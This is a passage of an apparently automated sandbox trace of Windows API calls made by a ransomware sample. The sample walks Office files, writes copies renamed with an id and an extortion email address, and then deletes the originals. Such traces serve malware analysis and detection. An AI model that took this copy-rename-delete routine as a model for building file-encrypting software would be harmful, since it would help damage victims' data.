lpString2=".DLL") returned 1 [0221.483] lstrlenW (lpString=".xlsx") returned 5 [0221.483] lstrcmpiW (lpString1=".xlsx", lpString2="F.DLL") returned -1 [0221.483] lstrlenW (lpString=".ppt") returned 4 [0221.483] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0221.483] lstrlenW (lpString=".zip") returned 4 [0221.483] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.483] lstrlenW (lpString=".rar") returned 4 [0221.483] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.483] lstrlenW (lpString=".bz2") returned 4 [0221.483] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.483] lstrlenW (lpString=".7z") returned 3 [0221.483] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0221.483] lstrlenW (lpString=".dbf") returned 4 [0221.483] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0221.483] lstrlenW (lpString=".1cd") returned 4 [0221.483] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned 67 [0221.483] lstrlenW (lpString=".jpg") returned 4 [0221.483] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.486] lstrcmpiW (lpString1=".EXE", lpString2=".AUF") returned 1 [0221.486] lstrlenW (lpString="MSOICONS.EXE") returned 12 [0221.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0221.537] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=473952) returned 1 [0221.537] CloseHandle (hObject=0x204) returned 1 [0221.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe")) returned 0x20 [0221.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0221.538] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.538] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0221.538] GetLastError () returned 0x0 [0221.538] ReadFile (in: hFile=0x204, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x73b60, lpOverlapped=0x0) returned 1 [0221.582] WriteFile (in: hFile=0x21c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x73b70, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x73b70, lpOverlapped=0x0) returned 1 [0221.771] ReadFile (in: hFile=0x204, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.771] WriteFile (in: hFile=0x21c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.771] SetEndOfFile (hFile=0x21c) returned 1 [0221.771] CloseHandle (hObject=0x21c) returned 1 [0221.771] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.771] SetEndOfFile (hFile=0x204) returned 1 [0221.776] CloseHandle (hObject=0x204) returned 1 [0221.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.776] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe")) returned 1 [0221.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0221.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0221.776] lstrlenW (lpString=".doc") returned 4 [0221.776] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0221.776] lstrlenW (lpString=".docx") returned 5 [0221.776] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0221.776] lstrlenW (lpString=".pdf") returned 4 [0221.776] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0221.776] lstrlenW (lpString=".xls") returned 4 [0221.777] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0221.777] lstrlenW (lpString=".xlsx") returned 5 [0221.777] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0221.777] lstrlenW (lpString=".ppt") returned 4 [0221.777] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0221.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0221.777] lstrlenW (lpString=".zip") returned 4 [0221.777] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0221.777] lstrlenW (lpString=".rar") returned 4 [0221.777] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0221.777] lstrlenW (lpString=".bz2") returned 4 [0221.777] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0221.777] lstrlenW (lpString=".7z") returned 3 [0221.777] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0221.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0221.777] lstrlenW (lpString=".dbf") returned 4 [0221.777] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0221.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0221.777] lstrlenW (lpString=".1cd") returned 4 [0221.777] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0221.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0221.777] lstrlenW (lpString=".jpg") returned 4 [0221.777] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0221.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0221.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0221.777] lstrlenW (lpString=".doc") returned 4 [0221.777] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0221.777] lstrlenW (lpString=".docx") returned 5 [0221.777] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0221.777] lstrlenW (lpString=".pdf") returned 4 [0221.777] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0221.777] lstrlenW (lpString=".xls") returned 4 [0221.777] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0221.777] lstrlenW (lpString=".xlsx") returned 5 [0221.777] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0221.777] lstrlenW (lpString=".ppt") returned 4 [0221.777] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0221.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0221.777] lstrlenW (lpString=".zip") returned 4 [0221.777] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0221.777] lstrlenW (lpString=".rar") returned 4 [0221.777] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0221.777] lstrlenW (lpString=".bz2") returned 4 [0221.777] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0221.777] lstrlenW (lpString=".7z") returned 3 [0221.777] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0221.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0221.777] lstrlenW (lpString=".dbf") returned 4 [0221.777] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0221.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0221.777] lstrlenW (lpString=".1cd") returned 4 [0221.778] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0221.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0221.778] lstrlenW (lpString=".jpg") returned 4 [0221.778] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0221.778] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0221.778] lstrlenW (lpString="MSOXEV.DLL") returned 10 [0221.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.793] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=56144) returned 1 [0221.793] CloseHandle (hObject=0x218) returned 1 [0221.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll")) returned 0x20 [0221.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.793] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.793] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0221.793] GetLastError () returned 0x0 [0221.793] ReadFile (in: hFile=0x218, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0xdb50, lpOverlapped=0x0) returned 1 [0221.847] WriteFile (in: hFile=0x204, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xdb60, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xdb60, lpOverlapped=0x0) returned 1 [0221.848] ReadFile (in: hFile=0x218, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.848] WriteFile (in: hFile=0x204, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0221.848] SetEndOfFile (hFile=0x204) returned 1 [0221.848] CloseHandle (hObject=0x204) returned 1 [0221.848] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.848] SetEndOfFile (hFile=0x218) returned 1 [0221.849] CloseHandle (hObject=0x218) returned 1 [0221.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.849] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll")) returned 1 [0221.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0221.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0221.849] lstrlenW (lpString=".doc") returned 4 [0221.849] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.849] lstrlenW (lpString=".docx") returned 5 [0221.849] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0221.850] lstrlenW (lpString=".pdf") returned 4 [0221.850] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.850] lstrlenW (lpString=".xls") returned 4 [0221.850] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.850] lstrlenW (lpString=".xlsx") returned 5 [0221.850] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0221.850] lstrlenW (lpString=".ppt") returned 4 [0221.850] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0221.850] lstrlenW (lpString=".zip") returned 4 [0221.850] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.850] lstrlenW (lpString=".rar") returned 4 [0221.850] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.850] lstrlenW (lpString=".bz2") returned 4 [0221.850] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.850] lstrlenW (lpString=".7z") returned 3 [0221.850] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0221.850] lstrlenW (lpString=".dbf") returned 4 [0221.850] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0221.850] lstrlenW (lpString=".1cd") returned 4 [0221.850] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0221.850] lstrlenW (lpString=".jpg") returned 4 [0221.850] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0221.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0221.850] lstrlenW (lpString=".doc") returned 4 [0221.850] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0221.850] lstrlenW (lpString=".docx") returned 5 [0221.850] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0221.850] lstrlenW (lpString=".pdf") returned 4 [0221.850] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0221.850] lstrlenW (lpString=".xls") returned 4 [0221.850] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0221.850] lstrlenW (lpString=".xlsx") returned 5 [0221.850] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0221.850] lstrlenW (lpString=".ppt") returned 4 [0221.850] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0221.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0221.850] lstrlenW (lpString=".zip") returned 4 [0221.850] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0221.850] lstrlenW (lpString=".rar") returned 4 [0221.850] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0221.850] lstrlenW (lpString=".bz2") returned 4 [0221.850] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0221.850] lstrlenW (lpString=".7z") returned 3 [0221.850] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0221.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0221.850] lstrlenW (lpString=".dbf") returned 4 [0221.851] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0221.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0221.851] lstrlenW (lpString=".1cd") returned 4 [0221.851] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0221.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned 66 [0221.851] lstrlenW (lpString=".jpg") returned 4 [0221.851] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0221.851] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0221.851] lstrlenW (lpString="MSPTLS.DLL") returned 10 [0221.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.851] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=1198464) returned 1 [0221.851] CloseHandle (hObject=0x218) returned 1 [0221.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll")) returned 0x20 [0221.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.852] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.852] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0221.922] GetLastError () returned 0x0 [0221.922] ReadFile (in: hFile=0x218, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0222.203] WriteFile (in: hFile=0x168, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0222.217] ReadFile (in: hFile=0x218, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x24990, lpOverlapped=0x0) returned 1 [0222.308] WriteFile (in: hFile=0x168, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x249a0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x249a0, lpOverlapped=0x0) returned 1 [0222.313] ReadFile (in: hFile=0x218, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.314] WriteFile (in: hFile=0x168, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0222.314] SetEndOfFile (hFile=0x168) returned 1 [0222.424] CloseHandle (hObject=0x168) returned 1 [0222.424] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.424] SetEndOfFile (hFile=0x218) returned 1 [0222.426] CloseHandle (hObject=0x218) returned 1 [0222.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.426] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msptls.dll")) returned 1 [0222.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0222.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0222.426] lstrlenW (lpString=".doc") returned 4 [0222.426] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0222.426] lstrlenW (lpString=".docx") returned 5 [0222.426] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0222.426] lstrlenW (lpString=".pdf") returned 4 [0222.426] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0222.426] lstrlenW (lpString=".xls") returned 4 [0222.426] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0222.426] lstrlenW (lpString=".xlsx") returned 5 [0222.426] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0222.426] lstrlenW (lpString=".ppt") returned 4 [0222.426] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0222.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0222.427] lstrlenW (lpString=".zip") returned 4 [0222.427] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0222.427] lstrlenW (lpString=".rar") returned 4 [0222.427] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0222.427] lstrlenW (lpString=".bz2") returned 4 [0222.427] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0222.427] lstrlenW (lpString=".7z") returned 3 [0222.427] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0222.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0222.427] lstrlenW (lpString=".dbf") returned 4 [0222.427] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0222.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0222.427] lstrlenW (lpString=".1cd") returned 4 [0222.427] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0222.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0222.427] lstrlenW (lpString=".jpg") returned 4 [0222.427] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0222.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0222.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned 66 [0222.427] lstrlenW (lpString=".doc") returned 4 [0222.427] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0222.427] lstrlenW (lpString=".docx") returned 5 [0222.427] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0222.427] lstrlenW (lpString=".pdf") returned 4 [0222.427] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0222.427] lstrlenW (lpString=".xls") returned 4 [0222.427] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0222.427] lstrlenW (lpString=".xlsx") returned 5 [0222.427] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0222.427] lstrlenW 